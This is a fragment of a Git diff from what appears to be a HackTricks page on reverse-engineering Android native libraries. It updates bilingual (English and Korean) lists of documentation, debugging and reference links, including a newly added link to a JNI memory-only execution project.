| - **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) | ||||
| - **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) | ||||
| - **ARM 어셈블리 학습:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) | ||||
| - **JNI & NDK 문서:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) | ||||
| - **네이티브 라이브러리 디버깅:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) | ||||
| 
 | ||||
| ### References | ||||
| 
 | ||||
| @ -132,5 +142,6 @@ APK 내부에서 *타사(third-party)* `.so` 파일을 발견하면 항상 해 | ||||
| - SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) | ||||
| - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) | ||||
| - How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) | ||||
| - [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user